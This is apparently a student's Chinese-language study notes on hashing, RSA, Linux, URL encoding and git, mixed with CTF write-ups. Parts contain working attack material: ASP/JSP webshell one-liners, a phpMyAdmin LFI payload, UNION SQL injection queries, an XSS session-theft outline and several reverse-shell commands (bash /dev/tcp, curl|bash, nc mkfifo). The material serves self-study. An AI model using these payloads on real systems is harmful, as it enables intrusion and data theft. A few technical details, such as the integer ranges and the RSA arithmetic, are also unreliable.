0%

今天又睡了老久。。晚上整理一下

其实今天整理这个一方面是不会,另一方面是看到心仪大学夏令营面试有问过这个问题(生日攻击),或许可能不会再问了,但知道总比不知道强!
一下内容除webshell和php外皆为生日攻击衍生出来的问题(对我来说没掌握的)
今日内容:MD5碰撞√,生日攻击√,哈希√,彩虹表√,盐√,webshell本质,php某方法√,幻数√,内存存储方式√
参考:
https://www.zhihu.com/question/20820286
https://zhuanlan.zhihu.com/p/37165658
https://blog.csdn.net/M_mamba/article/details/103405022
https://zhuanlan.zhihu.com/p/43994479
https://www.jianshu.com/p/732d9d960411
https://blog.csdn.net/blade2001/article/details/6341078

hash

哈希算法也成为散列算法,可以通过哈希算法单向求得某值。理想情况下,可以正向快速求得该值,并且不能通过该值还原出原数据;原数据即使变化很小,得到的数据变化也比较大。
哈希算法可用来验证传输过程中数据是否被篡改。
hash算法不理想的情况:存在冲突。即多个原始数据对应一个目标值:h(a)=h(b)=k。在数学上函数必然可逆,且hash函数值域有限,比如128bitMD5的值域为2128=1632(第一次我竟然算错了2333 ,2exp28和32exp16怎么也对不上。我太菜了)
哈希算法常见的有:MD5 SHA-1(Secure Hash Algorithm,SHA) SHA-2* SHA512。目前MD5,SHA-1已经不安全。
这样可能会导致一些问题,比如在分发session的时候如果用hash计算,如果两用户session值相同的话,会导致越权操作。
MD5的长度为128bit,sha1长度为160bit,sha256为256bit,sha512为512bit。

hash冲突处理方法

MD5算出来啥就是啥,不知道是不是冲突,此处讨论的冲突是存放的时候的冲突处理!

开放定址法

线性探测法
线性补偿探测法
线性随机法

拉链法

多次hash

设立公共溢出区

幻数与内存存储方式

其实内存存储方式是大一学的。。还是比较感谢王老师。。虽然老念ppt,但是问问题还是很热心的帮我解决。谢谢谢谢
幻数就是常用的数。MD5的四个幻数ABCD分别是(hex):
A: 01 23 45 67
B: 89 ab cd ef
C: fe dc ba 98
D: 76 54 32 10
计算机硬件有两种储存数据的方式:大端字节序(big endian)和小端字节序(little endian)。
大端字节序:高位字节在前,低位字节在后,这是人类读写数值的方法。
小端字节序:低位字节在前,高位字节在后,即以0x1122形式储存。
比如用大端字节序存0x01234567的话就是 01 23 45 67
小端的话就是 67 45 23 01

生日攻击&&彩虹表&&salt

生日问题:一个班级需要有多少人,才能保证每个同学的生日都不一样?
答案很出人意料。如果至少两个同学生日相同的概率不超过5%,那么这个班只能有7个人。事实上,一个23人的班级有50%的概率,至少两个同学生日相同;50人班级有97%的概率,70人的班级则是99.9%的概率。
由该问题引出的是取值空间与计算哈希值次数和碰撞概率的关系。数学推导我这就不写了。我数学比较菜,当时看了一会才看懂咋回事。。对不起孙老师
取值空间为365,70个人中至少两人生日重复的概率为99%。365就是取值空间,70就是哈希计算次数。
由生日攻击与哈希碰撞导出的问题是破解哈希值以及如何防御哈希破解。

哈希值破解

由于哈希函数是单向的,所以破解方式照理来说应该是暴力破解或者手动算字典的哈希值,建立一个一一对应的关系然后查表。
对应方法:1.暴力破解2.字典3.彩虹表
这里重点说一下彩虹表,彩虹表并不是单纯的原文-密文一一对应的形式。
彩虹表前身–散列链
设加密函数为H(X),则散列链存在一个约简函数R(X),其定义域和值域与H(X)相反。
对于散列链和彩虹表详细的计算过程我还没看太明白,请教完老师再来写。
现在已知的是彩虹表是一种中和的方式来破解哈希值。
当k越大时,破解时间就越长,但彩虹表所占用的空间就越小;
相反,k越小时,彩虹表本身就越大,相应的破解时间就越短。

加salt抵抗彩虹表

salt可以是一串随机数。
假设原文是abc,
不加salt加密后的数据为 DEF,加salt加密后的数据为GKD
彩虹表还原出DEF的概率相对加salt后的概率相对大一些。因为对GKD还原后的数据大概率就不是原数据abc了。
应用场景:
用户注册时:hash(password+salt)->DB,salt->DB
用户登录时 if(hash_in_db==hash(input_username+salt))
return true;

php file_get_contents()

file_get_contents()方法把整个文件读入到字符串中。

webshell

webshell是什么,shell是什么?
shell是用户与操作系统交互的工具、平台。webshell就是基于web的shell,可以用于网站管理等功能。
常见的webshell就是命令执行,比如php的 将这句话写入以PHP为后端的网站后,通过对该文件传参数www.tst.com/1.php?cmd=whoami
相当于在shell中执行whoami。当然,也可以用一些webshell管理工具方便操作,比如菜刀,蚁剑。
asp一句话: <%eval request(“x”)%> <%execute request(“MH”)%>
jsp一句话:<% Runtime.getRuntime().exec(request.getParameter(“shell”)); %>

缅怀先烈,吾辈当自强。

CVE-2018-12613 phpmyadmin LFI &&buuoj ezweb : )

参考链接:https://www.freebuf.com/vuls/176064.html
首先分析index.php:
在index.php 第56行,

传入的target参数需要满足四个条件:
1.是字符串
2.不能以index开头
3.不在黑名单内
4.通过checkPageValidity函数检验,即返回true
跟进checkPageValidity函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

函数分析:如果传入的白名单为空的话,就去找goto_whitelist。
如果没有设置page或者page变量不是字符串 返回false。
如果page在白名单内,返回true
mb_strpos($page . ‘?’, ‘?’)获得page变量?前的长度 注意:’.’用来连接两个字符串
mb_substr 获得[start,end)长度的字符串。
举例如下:

继续分析。
来到

1
2
3
4
5
6
7
8
9
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

将?两次urlencode编码后为%253f。进入php后会自动解码一次,变成%3f,然后再次解码,成功绕过检验。(不双重编码无法绕过的原因为:如果直接给一个?的话,在第一个截取验证中,php会把问号后面的东西当作参数,include的还是db_sql.php。)
所以index.php中的INCLUDE变成了:
include db_sql.php%3f(由于php会把db_sql.php%3f当成目录,所以需要多加一个../来跨目录。)
payload:http://192.168.0.106:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

动态规划

今天下午做了一个动态规划的题 还没大弄明白,捞的不谈。等我下次看到这or 学习一段时间动态规划后再去做。

buuctf

今天做了一道ciscn 2019的题。很惭愧。
这道题是华东北赛区分区赛的一道web题,当时我没做出来,只做到了如何破解md5前六位的一步,而且是用别人写的脚本跑的。当时没做xss的部分,首先是过滤的问题,过滤的字符太多,当时没有想到怎么绕过,就没有继续做了….我太菜了。
今天在此整理一下该题的解题思路。
首先写一段xss代码,提交后把链接放到问题反馈那,用脚本跑一下md5前6位。这一步完成后会有一个bot模拟管理员,管理员访问后通过xss发送管理员的身份信息到接收平台。从接收平台获取到session后,使用管理员登录。
扫描后台发现admin.php
PHPSESSID修改后登录即可
首先用group by 判断列数,
然后找一下数据库名 -1 and 1=2 union select 1,2,database() from information_schema.schemata ->数据库名 ciscn
根据数据库名找表(通过limit看有多少表、多少多少字段)-1 union select 1,2,table_name from information_schema.tables where table_schema=’ciscn’ -》找到表flag 然后limit 找其他的表,这里其他的表没啥用
根据表名找列-1 union select 1,2,column_name from information_schema.columns where table_name =’flag’ -》找到列 flagg
根据列名查数据 -1 union select 1,2,flagg from flag 找到flag。
getflag。
彳亍。。就看看user表有啥把
-1 union select 1,2,table_name from information_schema.tables where table_schema=’ciscn’ limit 1,1 找到users表
-1 union select 1,2,column_name from information_schema.columns where table_name=’users’ 找到USER字段 limit 1,1 找到CURRENT_CONNECTIONS,username,password字段
-1 union select 1,username,password from users limit 这句话应该就对应着这个查询框 select username,password from users where id=?
这道题就结束了。

浮生日记

2020.3.31 晴
今天又是菜鸡的一天,刷题入门题就不会,心态崩了
dp,一定拿下!

c语言相关

参考链接:
https://blog.csdn.net/danxibaoxxx/article/details/81236180
https://blog.csdn.net/CV_Jason/article/details/85244813
https://blog.csdn.net/bestkilly/article/details/80659109?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task
https://blog.csdn.net/abaloon/article/details/8173552
https://blog.csdn.net/ai_yue/article/details/82777806?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task

ld&lf

这涉及到了c语言的精度问题。
首先看常见数据类型的取值范围:
char -128 ~ +127 (1 Byte)
short -32767 ~ + 32768 (2 Bytes)
unsigned short 0 ~ 65536 (2 Bytes)
int -2147483648 ~ +2147483647 (4 Bytes)
unsigned int 0 ~ 4294967295 (4 Bytes)
long == int
long long -9223372036854775808 ~ +9223372036854775807 (8 Bytes)
double 1.7 * 10^308 (8 Bytes)
unsigned int 0~4294967295
long long的最大值:9223372036854775807
long long的最小值:-9223372036854775808
unsigned long long的最大值:1844674407370955161
__int64的最大值:9223372036854775807
__int64的最小值:-9223372036854775808
unsigned __int64的最大值:18446744073709551615
结论:
输入输出long long/double的时候需要用%ld/%lf

存储形式

存储形式参考第三个链接,需要注意的是阶码是怎么得来的,我一开始也想错了。

补码表示范围

为什么八位二进制补码的表示范围是-128 — +127?
首先明确第一位是符号位。
以下为原码表示:
正数: +0—+127
00000000—01111111
负数:-0 —- -127
10000000 —- 11111111


无符号数10000000代表128,在补码中本来应该是-0,由于一个数对应一个补码,所以-0的补码用来表示-128。这也解释了为什么8位二进制数可表示的范围是-128~127。

近期学习了许多关于Linux的基础知识,也从侧面反映出了我上课所学的基础知识没有多加练习,忘了不少。
本文学习路线:首先是在CTF比赛中遇到了需要反弹shell的问题,采用常用反弹shell的方式无法反弹,于是学习了用curl反弹shell等多种反弹shell的方式;探究反弹shell的本质,学习到了<与>以及输入输出重定向;
跑脚本的时候太麻烦,需要切换到脚本目录,于是学习了如何添加环境变量以及如何用alias。

预备知识

linux shell、反弹shell、重定向、环境变量

参考、致敬(强烈建议先阅读参考、致敬的文章再阅读本文)

https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
http://www.linuxso.com/command/alias.html
https://blog.csdn.net/revilwang/article/details/8374362
https://blog.csdn.net/flw8840488/article/details/90513873
https://blog.csdn.net/lw305080/article/details/52054188
https://www.runoob.com/linux/linux-system-contents.html

shell

如何理解shell?
shell是用户与Linux内核之间的一层“代理”,用户通过shell与Linux内核建立联系。shell是在内核基础上编写的应用程序。
当然,shell也支持编程,这里不展开讲解。

反弹shell

先说怎么反弹shell,再说反弹shell的原理。
首先攻击机上执行 nc -lvp 8888

bash反弹

bash -i &> /dev/tcp/ip/prot 0&>1

curl反弹

首先在公网vps 写好反弹shell的语句 保存到ip/bash
RCE: curl ip/bash |bash // |是管道符,意思是将上一个的输出作为下一个的输入

nc反弹

受害机执行 nc -e /bin/sh ip port
如果nc版本不对的话可以这样:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

exec

exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done

理解反弹shell

  • 第一句:bash -i &> /dev/tcp/ip/prot 0&>1
    理解:将交互式bash的输出与错误输出重定向到/dev/tcp/ip/port 文件,并且将标准输入重定向到标准输出。
    前面的&>代表将输出与错误输出都重定向到后面的文件,后面的0&>1代表将标准输入(文件操作符0)重定向到标准输出(文件操作符1)。注意,这里的&代表了识别后面的1为文件操作符(代表标准输出),而不是“1”这个文件。
    Linux操作系统把所有内容都抽象为文件,包括tcp连接。
    示意图
    虚线表示了stdin 重定向到stdout,由于stdout已经重定向到了/dev/tcp/ip/port ,所以stdin也将重定向到/dev/tcp/ip/port。
  • 第二句 RCE: curl ip/bash |bash // |是管道符,意思是将上一个的输出作为下一个的输入
    首先在公网vps上写一个文件,内容为bash -i &> /dev/tcp/ip/prot 0&>1 重命名为bash
    然后再受害机上执行curl ip/bash | bash 意思就是说通过curl获取bash的html内容,并且作为下一个的输入。bash是Linux中的shell,用于用户和内核交互。相当于用户输入了bash -i &> /dev/tcp/ip/prot 0&>1
  • 第三句 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
    相当于创建了一个管道/tmp/f ,错误输出重定向到标准输出,标准输出重定向到/tmp/f ,把cat /tmp/f的结果传给交互式shell执行,传给nc ip port。形成环路。
    大佬解读:mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
    我的解读:其实后半段的意思就是把传进来的命令用/bash/sh 执行,然后把结果传给ip port,然后 ip port 发送的结果传给/tmp/f,然后cat tmp /f,然后shell执行….就这么套娃,交互式shell就成了。

    环境变量

    环境变量文件:
  • /etc/profile 全局用户,应用于所有的Shell。
  • /$HOME/.profile 当前用户,应用于所有的Shell。
  • /etc/bash_bashrc 全局用户,应用于Bash Shell。
  • ~/.bashrc 局部当前,应用于Bash Sell。
    写入/etc/profile文件
    export $PATH:/dir/subdir

    环境变量解析过程

    系统环境变量

    /etc/profile: 此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行,并从/etc/profile.d目录的配置文件中搜集shell的设置.
    /etc/bashrc: 为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取.

    用户环境变量

    .bash_profile :定义了用户的个人化路径与环境变量的文件名称。每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。(在这个文件中有执行.bashrc的脚本)
    .bashrc :该文件包含专用于你的shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取。例如你可以将用户自定义的alias或者自定义变量写到这个文件中。
    .bash_history :记录命令历史用的。
    .bash_logout :当退出shell时,会执行该文件。可以把一些清理的工作放到这个文件中。

    用户切换与环境变量

    大部分Linux发行版的默认账户是普通账户,而更改系统文件或者执行某些命令,需要root身份才能进行,这就需要从当前用户切换到root用户,Linux中切换用户的命令是su或su -
    前者只是切换root身份,但shell环境仍然是普通用户的shell;
    而后者连用户和shell环境一起切换成root身份了。只有切换了shell环境才不会出现PATH环境变量错误。su切换成root用户以后,pwd一下,发现工作目录仍然是普通用户的工作目录;而用su - 命令切换以后,工作目录变成root工作目录了。

    Linux文件目录

/bin:
bin是Binary的缩写, 这个目录存放着最经常使用的命令。

/boot:
这里存放的是启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件。

/dev :
dev是Device(设备)的缩写, 该目录下存放的是Linux的外部设备,在Linux中访问设备的方式和访问文件的方式是相同的。

/etc:
这个目录用来存放所有的系统管理所需要的配置文件和子目录。

/home:
用户的主目录,在Linux中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。

/lib:
这个目录里存放着系统最基本的动态连接共享库,其作用类似于Windows里的DLL文件。几乎所有的应用程序都需要用到这些共享库。

/lost+found:
这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。

/media:
linux系统会自动识别一些设备,例如U盘、光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。

/mnt:
系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在/mnt/上,然后进入该目录就可以查看光驱里的内容了。

/opt:
这是给主机额外安装软件所摆放的目录。比如你安装一个ORACLE数据库则就可以放到这个目录下。默认是空的。

/proc:
这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。
这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的ping命令,使别人无法ping你的机器:

/root:
该目录为系统管理员,也称作超级权限者的用户主目录。

/sbin:
s就是Super User的意思,这里存放的是系统管理员使用的系统管理程序。

/selinux:
这个目录是Redhat/CentOS所特有的目录,Selinux是一个安全机制,类似于windows的防火墙,但是这套机制比较复杂,这个目录就是存放selinux相关的文件的。

/srv:
该目录存放一些服务启动之后需要提取的数据。

/sys:

这是linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现的一个文件系统 sysfs 。

sysfs文件系统集成了下面3种文件系统的信息:针对进程信息的proc文件系统、针对设备的devfs文件系统以及针对伪终端的devpts文件系统。
该文件系统是内核设备树的一个直观反映。

当一个内核对象被创建的时候,对应的文件和目录也在内核对象子系统中被创建。

/tmp:
这个目录是用来存放一些临时文件的。

/usr:
这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于windows下的program files目录。

/usr/bin:
系统用户使用的应用程序。

/usr/sbin:
超级用户使用的比较高级的管理程序和系统守护程序。

/usr/src:
内核源代码默认的放置目录。

/var:
这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。

/run:
是一个临时文件系统,存储系统启动以来的信息。当系统重启时,这个目录下的文件应该被删掉或清除。如果你的系统上有 /var/run 目录,应该让它指向 run

致敬、参考

https://blog.csdn.net/dbs1215/article/details/48953589
https://www.jianshu.com/p/0f9b72d691c2
https://blog.csdn.net/weixin_37490221/article/details/80823129

RSA

RSA基本概念

RSA是一种非对称加密算法。
当时学计算机网络的时候对对称、非对称的概念很模糊,总是记不清。前两天SSH登录尝试了RSA免密登录,结合之前问过的老师的相关内容,对RSA的整个过程有了一个大致的了解。
私钥一定只有自己知道才能保证安全!!
密文=(明文E)mod N
明文=(密文D)mod N
符号说明:
N:由两个质数pq构成。
L:1<L<lcm(p-1,q-1) (p-1,q-1的最小公倍数)
E:1<E<L && gcd(E,L)=1
D: 1<D<L && E
D mod L=1 (这也印证了对E的定义中为什么E和L要互质)

实现过程

取p=17,q=19,则N=323
则L=lcm(16,18)=144
∵1<E<L && gcd(E,L)=1
∴ E=5
由1<D<L && ED mod L=1可得:7D MOD 144 =1 -> 5D=145*n(n∈N)(这里的N*代表正整数)
可得D=29
则:公钥对(E,N)=(5,323)
私钥对(D,N)=(29,323)
设原始消息M=233,经私钥加密后的密文=明文E mod N=275
解密过程中,明文=密文D mod N=233,还原成功。

RSA工作过程

原始需要发送的消息为m
公钥加密方法为pubencode()
公钥解密方法为pubdecode()
公钥加密/解密得到的内容为pub(m)
私钥加密方法为priencode()
私钥解密方法为pridecode()
私钥加密/解密得到的内容为pri(m)
Client————————–transmitting ————Server
M1->priencode()->pri(M1)-> ………….. pri(M1)->pubdecode()->M1
M2<-pridecode()<-pub(M2)<- ………….. pub(M2)<-pubencode()<-M2

SSH免密登陆

基于口令的验证

基于密钥的验证

使用RSA的公钥、私钥机制可以实现ssh免密登录。

工作流程:
1.client生成公钥,私钥,并且把公钥存储在server的authorized_keys文件里面
2.client发送连接请求,发送公钥
3.server如果发现client的公钥在authorized_keys文件里面的话,会生成一段随机字符串用公钥加密发送给client
4. client收到加密后的字符串后使用私钥解密,然后把解密后的字符串发给server
5.server验证字符串是否和发送的相等,相等的话则建立链接。

浮生日记

3.26 阴

URL编码

参考:
https://blog.csdn.net/ljhabc1982/article/details/7094757
https://www.cnblogs.com/jerrysion/p/5522673.html
https://www.cnblogs.com/mengff/p/7282488.html
https://blog.csdn.net/danielzhou888/article/details/72861097
URL编码概念捞的不谈。
只有数字,大小写字母,特定的保留字才不会进行URL编码。

Understanding of Content-Type

在HTTP请求和响应投中用Content-Type来表示具体请求中的媒体类型信息。
常见的媒体格式类型如下:

text/html : HTML格式
text/plain :纯文本格式      
text/xml :  XML格式
image/gif :gif图片格式    
image/jpeg :jpg图片格式 
image/png:png图片格式

以application开头的媒体格式类型:

application/xhtml+xml :XHTML格式
application/xml : XML数据格式
application/atom+xml :Atom XML聚合格式
application/json : JSON数据格式
application/pdf :pdf格式
application/msword : Word文档格式
application/octet-stream : 二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded :

中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)
multipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式

get/post of form

如果enctype为默认的application/x-www-form-urlencoded时:
form的method为get时话,则把参数按照?k1=v1&k2=v2的形式拼接到URL的后面直接访问。
firn的method为post的话,则把参数放以k1=v1&k2=v2的形式到请求体里面。
在有 input type=file 时候,要用multipart/form-data编码方式。浏览器会把表单以控件为单位分割,每个部分使用 –boundary 分割开来,最后一行使用 –boundary– 结尾,
并且为每个部分加上Content-Dispositon(form-data或file)、Content-Type(默认text/plain)、
name(控件name)等信息,并加上分割符(boundary)。
举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
通过form表单提交文件操作如下:

<form method="post"action="http://w.sohu.com/t2/upload.do" enctype=”multipart/form-data”>

<inputtype="text" name="desc">

<inputtype="file" name="pic">

</form>



浏览器将会发送以下数据:

POST /t2/upload.do HTTP/1.1

User-Agent: SOHUWapRebot

Accept-Language: zh-cn,zh;q=0.5

Accept-Charset: GBK,utf-8;q=0.7,*;q=0.7

Connection: keep-alive

Content-Length: 60408

Content-Type:multipart/form-data; boundary=ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC

Host: w.sohu.com



--ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC

Content-Disposition: form-data;name="desc"

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit



[......][......][......][......]...........................

--ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC

Content-Disposition: form-data;name="pic"; filename="photo.jpg"

Content-Type: application/octet-stream

Content-Transfer-Encoding: binary



[图片二进制数据]

--ZnGpDtePMx0KrHh_G0X99Yef9r8JZsRJSXC--

对URL编码的理解:

在浏览器发送请求前,如果发现传入的参数包括了除保留字和非保留字之外的字符,则需要进行URL编码,然后进行传输。
服务器接受到请求后会自动执行一次解码过程。
即:客户端发送请求前确保URL符合规范;否则进行URL编码;->传送到服务端默认进行一次URL解码;然后服务器端进行一次URL编码后发送给客户端->客户端进行URL解码并显示。
那么问题来了。如果我的请求参数中存在特殊符号,那么编码又是什么情况?
比如param1=admin+1
如果这样直接提交请求的话,浏览器检查通过,直接发送(因为+是保留字,被翻译成空格)
在bing搜索123%123 其实搜出来的是123 123

下图是输入编码后的数据%2b的情况:

下图是直接输入+的情况

保留字符不用于URI分隔符,而是用于其它位置,比如参数的value时,要对这时用到的保留字符做URL编码。

比如pa1=admin&pa3 , pa2=123123
如果不对value中的保留字进行编码的话,则结果是这样的:pa1=admin&pa3&pa2=123123
可能存在安全隐患。

致敬

https://www.freebuf.com/column/201364.html

basic stucture of mysql database

mysql5内置系统数据库IFORMATION_SCHEMA,记录了数据库中所有的数据库名、数据库表名、数据库表字段名。
其中的关键表:
SCHEMATA,存储数据库名,关键字段:SCHEMA_NAME ->数据库名称
例句:
select schema_name from INFORMATION_SCHEMA.SCHEMATA;

则查询到的是当前所有数据库的名称。
tables:存储表名
关键字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
关键字段:TABLE_NAME ->存储表的表名
例句

select table_name from INFORMATION_SCHEMA.tables ; //查询所有的表名
select table_name from INFORMATION_SCHEMA.tables where table_schema=’dvwa’; //查询dvwa数据库的表名
columns:存储列名
关键字段:TABLE_SCHEMA ->该字段所属数据库名

关键字段:TABLE_NAME ->存储所属表的名称

关键字段:COLUMN_NAME ->该字段的名称
例句:

select column_name from INFORMATION_SCHEMA.columns where table_name=’users’ and table_schema=’dvwa’;//查找dvwa数据库中user表中所有字段
常用变量
Select database() 数据库名称
Select VERSION() 数据库版本信息
Select @@VERSION 数据库版本信息
Select @@GLOBAL.VERSION 数据库版本信
user() 系统用户和登录主机名
current_user() 当前登录用户和登录主机名
system_user() 数据库系统用户账户名称和登录主机名
session_user() 当前会话用户名和登录主机名

写一句话
select ‘’intooutfile ‘/var/www/html/dvwa/1.php’; //导出一句话木马

判断列数
order by n
如果order by n报错并且order by n-1返回结果,则列数为n-1

linux命令

find(待补充)
find / -name ‘fla‘ 查找所有包含fla的文件
find / -name flag 查找所有以flag命名的文件
-iname选项不区分大小写

空格绕过

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

ls

ls -l 列出文件详细信息,如权限 大小 所有者和所属组,修改时间等
ls -all / ll 显示隐藏文件、列出文件详细信息,如权限 大小 所有者和所属组,修改时间等
-rwxrw-r‐-1 root root 1213 Feb 2 09:39 abc
第一个-代表文件,d代表目录,l代表链接。
r 读 w写 x执行
三段分别对应用户、组、其他的权限。 root root 分别表示用户、用户所在的组

chmod

chmod u/g/o +/-/= r/w/x filename
chmod u+x 1.txt 当前user可执行1.txt
chmod 755 1.txt 对应权限:rwxr-xr-x

致敬

https://www.cnblogs.com/duhuo/p/5695256.html

curl

基本用法

下载

curl www.baidu.com (默认get方式访问www.baidu.com 并且将html代码回显)
curl www.baidu.com >> baidu.html 保存为baidu.html
curl -o 2.jpg www.baidu.com/1.jpg 下载1.jpg并保存为2.jpg

ftp下载:

curl -o -u username:password ftp://www.baidu.com

ftp上传

curl -T todo.jpg -u username:password ftp://www.baidu.com

wget

wget命令用来从指定的URL下载文件。wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。

基本用法

wget -i filelist.txt 会下载filelist.txt里面所有的文件。
wget -c www.baidu.com/iso.iso 支持断点续传
wget -r -np www.baidu.com/pack/ np表示不遍历父目录,nd表示不在本机重新创建目录结构
wget -O filename www.baidu.com/1.php 将文件命名为filename并保存

git学习链接:

https://learngitbranching.js.org/
https://bingohuang.gitbooks.io/progit2/content/10-git-internals/sections/objects.html
https://zhuanlan.zhihu.com/p/44741777

git泄露

原理:通过.git文件夹以及子目录、文件可以还原工程源代码。
过程:
1.解析.git/index文件,找到工程所有:(文件名,文件sha1)
2.去.git/objects/文件夹下载对应的文件
3.zlib解压文件,按原始的目录结构写入源代码
利用工具:GitHack

利用场景

git stash 暂存当前没有完成的工作,当处理完bug后可以通过 git stash pop 将之前没做完的工作合并过来。所以可以通过 git stash pop 弹出之前尚未提交的文件
git reset –hard HEAD~1 (或是版本号)意为将版本库回退1个版本,但是不仅仅是将本地版本库的头指针全部重置到指定版本,也会重置暂存区,并且会将工作区代码也回退到这个版本
git diff hash 对比当前版本与hash版本提交的区别。
git checkout hash 切换到hash版本的提交中。/切换分支
git branch -a //show all branches

针对练习

练习平台:CTFHUB https://www.ctfhub.com/#/skilltree
技能树-web-信息泄露-git